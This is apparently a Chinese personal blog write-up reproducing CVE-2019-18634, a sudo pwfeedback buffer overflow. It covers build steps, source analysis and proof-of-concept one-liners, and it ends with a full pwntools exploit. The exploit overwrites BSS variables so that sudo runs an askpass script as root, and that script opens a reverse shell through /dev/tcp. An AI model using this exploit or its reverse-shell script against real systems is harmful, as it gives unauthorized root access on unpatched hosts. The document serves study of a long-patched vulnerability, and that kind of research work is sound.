复现一个简单的CVE_2019_18634,利用sudo程序中的pwfeedback选项从而以root权限执行程序,影响版本为低于1.8.31的sudo程序
Environment
Download&Compile sudo_1.8.25
1 | wget https://www.sudo.ws/dist/sudo-1.8.25.tar.gz |
2 | tar -zxvf ./sudo-1.8.25.tar.gz |
3 | cd ./sudo-1.8.25 |
4 | ./configure --prefix=/tmp/build |
5 | make |
6 | make install |
Turn ON pwfeedback
在/etc/sudoers中添加Defaults pwfeedback
开启后,在用户切换的输入密码时,会有视觉反馈,出现”*”符号
POC
POC1[<=1.8.25]
1 | perl -e 'print(("A" x 100 . "\x{00}") x 50)' | sudo -S id |
POC2[1.8.26,1.8.30]
1 | socat pty,link=/tmp/pty,waitslave exec:"python -c 'print((chr(0x61)*100+chr(0x15))*50)'" & |
2 | sudo -S id < /tmp/pty |
POC1通过从管道获取数据交给sudo,-S表示从stdin读取数据
POC2通过socat创建了一个伪终端pty,sudo处理的数据从终端中获取,”waitslave exec”执行后续命令
DEBUG
调试的方式则是采用gdb中的attach pid的方式
首先运行调试脚本
1 | import sys,os |
2 | from pwn import * |
3 | |
4 | TARGET=os.path.realpath("/tmp/build/bin/sudo") |
5 | |
6 | ''' |
7 | Create a pty terminal to transmit payload |
8 | mfd, sfd = os.openpty() |
9 | fd = os.open(os.ttyname(sfd), os.O_RDONLY) |
10 | p = process([TARGET,"-S", "id"],stdin=fd) |
11 | ''' |
12 | p = process([TARGET,"-S","id"]) |
13 | pause() |
14 | payload = ("A"*100+"\x00")*50 |
15 | #os.write(mfd, payload+"n") |
16 | pause() |
17 | p.send(payload+'\n') |
18 | p.interactive() |
19 | sys.exit(0) |
在第一次pause的时候,打开另外一个终端进入gdb,利用
1 | pwndbg> attach pid |
调试进程,然后就可以卡在read的时候
之后则和正常的普通elf文件调试差不多了
Analysis
首先sudo输入的时候,调用的函数是getln
在终端执行POC1,程序在int getln tgetpass.c:345报错
1 | extern int sudo_term_erase, sudo_term_kill; |
2 | |
3 | static char *getln(int fd, char *buf, size_t bufsiz, int feedback) |
4 | { |
5 | size_t left = bufsiz; |
6 | ssize_t nr = -1; |
7 | char *cp = buf; |
8 | char c = '\0'; |
9 | debug_decl(getln, SUDO_DEBUG_CONV) |
10 | |
11 | if (left == 0) { |
12 | errno = EINVAL; |
13 | debug_return_str(NULL); /* sanity */ |
14 | } |
15 | |
16 | while (--left) { |
17 | nr = read(fd, &c, 1); |
18 | if (nr != 1 || c == '\n' || c == '\r') |
19 | break; |
20 | if (feedback) { |
21 | if (c == sudo_term_kill) { |
22 | while (cp > buf) |
23 | { |
24 | if (write(fd, "\b \b", 3) == -1) |
25 | break; |
26 | --cp; |
27 | } |
28 | left = bufsiz; |
29 | continue; |
30 | } |
31 | else if (c == sudo_term_erase) { |
32 | if (cp > buf) |
33 | { |
34 | if (write(fd, "\b \b", 3) == -1) |
35 | break; |
36 | --cp; |
37 | left++; |
38 | } |
39 | continue; |
40 | } |
41 | ignore_result(write(fd, "*", 1)); |
42 | } |
43 | *cp++ = c; |
44 | } |
45 | //...... |
46 | } |
如果sudo开启了pwfeedback,之后进行两个判断
sudo_term_kill: 删除所有字符,可输入字符数量left重新赋值为bufsiz
sudo_term_erase:删除单个字符,可输入字符数量left自增1漏洞点
1 | if (feedback) { |
2 | if (c == sudo_term_kill) { |
3 | while (cp > buf) |
4 | { |
5 | if (write(fd, "\b \b", 3) == -1) |
6 | break; |
7 | --cp; |
8 | } |
9 | left = bufsiz; |
10 | continue; |
11 | } |
12 | ...... |
然而如果从管道获取输入的数据,因为管道是单向的,那么”write(fd, “\b \b”, 3) == -1”总是成立,break跳出while循环,令left赋值为0xFF
因为数据没有删除完,指针cp并没有回到buf最初位置,可以形成溢出,又因为getln传入的buf指针指向的BSS段上一个变量
而此变量之后跟随有askpass_6192,signo,tgetpass_flags,user_details_0多个BSS上的变量
然后查看tgetpass函数
1 | /* |
2 | * Like getpass(3) but with timeout and echo flags. |
3 | */ |
4 | char *tgetpass(const char *prompt, int timeout, int flags,struct sudo_conv_callback *callback) |
5 | { |
6 | struct sigaction sa, savealrm, saveint, savehup, savequit, saveterm; |
7 | struct sigaction savetstp, savettin, savettou; |
8 | char *pass; |
9 | static const char *askpass; |
10 | static char buf[SUDO_CONV_REPL_MAX + 1]; |
11 | int i, input, output, save_errno, neednl = 0, need_restart; |
12 | debug_decl(tgetpass, SUDO_DEBUG_CONV) |
13 | |
14 | (void) fflush(stdout); |
15 | |
16 | if (askpass == NULL) |
17 | { |
18 | askpass = getenv_unhooked("SUDO_ASKPASS"); |
19 | if (askpass == NULL || *askpass == '\0') |
20 | askpass = sudo_conf_askpass_path(); //get the askpass from the environment |
21 | } |
22 | |
23 | /* If no tty present and we need to disable echo, try askpass. */ |
24 | if (!ISSET(flags, TGP_STDIN|TGP_ECHO|TGP_ASKPASS|TGP_NOECHO_TRY) &&!tty_present()) |
25 | { |
26 | if (askpass == NULL || getenv_unhooked("DISPLAY") == NULL) { |
27 | sudo_warnx(U_("no tty present and no askpass program specified")); |
28 | debug_return_str(NULL); |
29 | } |
30 | SET(flags, TGP_ASKPASS); |
31 | } |
32 | |
33 | /* If using a helper program to get the password, run it instead. */ |
34 | if (ISSET(flags, TGP_ASKPASS)) |
35 | { |
36 | if (askpass == NULL || *askpass == '\0') |
37 | sudo_fatalx(U_("no askpass program specified, try setting SUDO_ASKPASS")); |
38 | debug_return_str_masked(sudo_askpass(askpass, prompt)); |
39 | } |
40 | //....... |
41 | pass = getln(input, buf, sizeof(buf), ISSET(flags, TGP_MASK)); |
42 | //...... |
43 | } |
因为第一次tgetpass_flags没有开启askpass,那么会通过后面的
1 | pass = getln(input, buf, sizeof(buf), ISSET(flags, TGP_MASK)); |
进行输入,此时传入的feedback不为0,可以形成越界修改tgetpass_flags的值
因为sudo会有三次输入的机会,如果修改tgetpass_flags存在TGP_ASKPASS的标志值
其中tgetpass_flags的选项位于sudo.h
1 | |
2 | |
3 | |
4 | |
5 | |
6 | |
继而第二次输入密码则调用sudo_askpass函数,继续查看sudo_askpass函数源码
1 | /* |
2 | * Fork a child and exec sudo-askpass to get the password from the user. |
3 | */ |
4 | static char *sudo_askpass(const char *askpass, const char *prompt) |
5 | { |
6 | static char buf[SUDO_CONV_REPL_MAX + 1], *pass; |
7 | struct sigaction sa, savechld; |
8 | int pfd[2], status; |
9 | pid_t child; |
10 | debug_decl(sudo_askpass, SUDO_DEBUG_CONV) |
11 | |
12 | /* Set SIGCHLD handler to default since we call waitpid() below. */ |
13 | memset(&sa, 0, sizeof(sa)); |
14 | sigemptyset(&sa.sa_mask); |
15 | sa.sa_flags = SA_RESTART; |
16 | sa.sa_handler = SIG_DFL; |
17 | (void) sigaction(SIGCHLD, &sa, &savechld); |
18 | |
19 | if (pipe(pfd) == -1) |
20 | sudo_fatal(U_("unable to create pipe")); |
21 | |
22 | child = sudo_debug_fork(); |
23 | if (child == -1) |
24 | sudo_fatal(U_("unable to fork")); |
25 | |
26 | if (child == 0) { |
27 | /* child, point stdout to output side of the pipe and exec askpass */ |
28 | if (dup2(pfd[1], STDOUT_FILENO) == -1) { |
29 | sudo_warn("dup2"); |
30 | _exit(255); |
31 | } |
32 | if (setuid(ROOT_UID) == -1) |
33 | sudo_warn("setuid(%d)", ROOT_UID); |
34 | if (setgid(user_details.gid)) { |
35 | sudo_warn(U_("unable to set gid to %u"), (unsigned int)user_details.gid); |
36 | _exit(255); |
37 | } |
38 | if (setuid(user_details.uid)) { |
39 | sudo_warn(U_("unable to set uid to %u"), (unsigned int)user_details.uid); |
40 | _exit(255); |
41 | } |
42 | closefrom(STDERR_FILENO + 1); |
43 | execl(askpass, askpass, prompt, (char *)NULL); //执行程序 |
44 | /* |
45 | int execl(const char *pathname, const char *arg, ...) |
46 | */ |
47 | sudo_warn(U_("unable to run %s"), askpass); |
48 | _exit(255); |
49 | } |
50 | |
51 | /* Get response from child (askpass). */ |
52 | (void) close(pfd[1]); |
53 | pass = getln(pfd[0], buf, sizeof(buf), 0); //未开启pwfeedback |
54 | (void) close(pfd[0]); |
55 | |
56 | /* Wait for child to exit. */ |
57 | for (;;) { |
58 | pid_t rv = waitpid(child, &status, 0); |
59 | if (rv == -1 && errno != EINTR) |
60 | break; |
61 | if (rv != -1 && !WIFSTOPPED(status)) |
62 | break; |
63 | } |
64 | |
65 | if (pass == NULL) |
66 | errno = EINTR; /* make cancel button simulate ^C */ |
67 | |
68 | /* Restore saved SIGCHLD handler. */ |
69 | (void) sigaction(SIGCHLD, &savechld, NULL); |
70 | |
71 | debug_return_str_masked(pass); |
72 | } |
最开始有child = sudo_debug_fork();此处程序fork了一个子线程,而子线程的权限来自于user_details即之前可以越界修改的user_details_0的数据
之后会execl(askpass, askpass, prompt, (char *)NULL);通过此处执行askpass指向的程序,此时程序是以子线程的用户态权限运行的
思路总结
1.sudo输入具有三次输入的机会
2.如果开启了pwfeedback,程序会利用tgetpass函数中的getln函数进行输入,而getln函数在pwfeedback开启时存在BSS数据越界
3.在sudo_askpass函数中,会fork一个子线程,以子线程的权限运行一个askpass指向的程序漏洞利用
1.第一次输入修改tgetpass_flags |= TGP_ASKPASS,然后继续溢出修改user_details_0提权为root
2.第二次就会检测到存在TGP_ASKPASS从而进入sudo_askpass,进而执行askpass指向的程序
3.最终通过反弹shell的方式拿到shellChange in 1.8.26
在1.8.26之后的getln中添加了对EOF的处理
1 | if (c == sudo_term_eof) { |
2 | nr = 0; |
3 | break; |
4 | } |
如此POC1不起作用了,但是若创建一个新的伪终端对,从伪终端获取输入流
在ASCII中,EOF与KILL对应的值分别为0x04与0x15,则稍微修改一个POC漏洞就可以再次利用
Exploit
Exploit
如果通过管道传输数据,sudo_term_kill初始化为”\x00”,将会导致溢出到user_details_0之前,signo不能置0,否则会抛出异常从而KILL进程、
而通过终端传输数据,sudo_term_kill是为”\x15”的,则优选pty作为输入方式
下面的EXP是通过创建了一个伪终端,从而将数据交给sudo,适用于1.8.30及以下的sudo程序
1 | # coding=utf-8 |
2 | from pwn import* |
3 | import sys,os |
4 | |
5 | TARGET=os.path.realpath("/tmp/build/bin/sudo") |
6 | |
7 | def setFlags(flags): |
8 | tgetpassFlags = { |
9 | "TGP_NOECHO":0x00, |
10 | "TGP_ECHO":0x01, |
11 | "TGP_STDIN":0x02, |
12 | "TGP_ASKPASS":0x04, |
13 | "TGP_MASK":0x08, |
14 | "TGP_NOECHO_TRY":0x10 |
15 | } |
16 | flags = flags.split("|") |
17 | retval = 0 |
18 | for i in flags: |
19 | retval |= tgetpassFlags[i] |
20 | return retval |
21 | |
22 | if __name__ == "__main__": |
23 | |
24 | shell_path = "/tmp/root.sh" |
25 | with open(shell_path,"w") as file: |
26 | file.write( |
27 | '''#!/bin/bash |
28 | bash -c "bash -i >& /dev/tcp/127.0.0.1/3000 0>&1" |
29 | ''') |
30 | os.chmod(shell_path,0o777) |
31 | mfd, sfd = os.openpty() |
32 | fd = os.open(os.ttyname(sfd), os.O_RDONLY) |
33 | |
34 | p = process([TARGET,"-S", "id"],stdin=fd,env={"SUDO_ASKPASS":shell_path}) |
35 | port = listen(3000) |
36 | payload = '\x00'*0xFE + '\x15' + '\x00' #buf |
37 | payload += '\x00'*0x20 #askpass_link |
38 | payload += '\x00'*0xDD + '\x15' + '\x00'*0x28 #signo |
39 | payload += p64(setFlags("TGP_STDIN|TGP_ASKPASS")) + '\x00'*0x14 #tgetpass_flags |
40 | payload += '\x00'*0x30 #user_details |
41 | payload += '\n' |
42 | pause() |
43 | os.write(mfd,payload) |
44 | port.wait_for_connection() |
45 | pause() |
46 | port.interactive() |
Reference
CVE-2019-18634漏洞复现与分析
CVE-2019-18634 sudo 提权漏洞分析
CVE-2019-18634
总结
第一次复现CVE,即便再简单,也是看了许久,查看了几篇文章,学到了许多,但是只能看着他人在挖CVE,不知道什么时候才能拥有自己的CVE ◔ ‸◔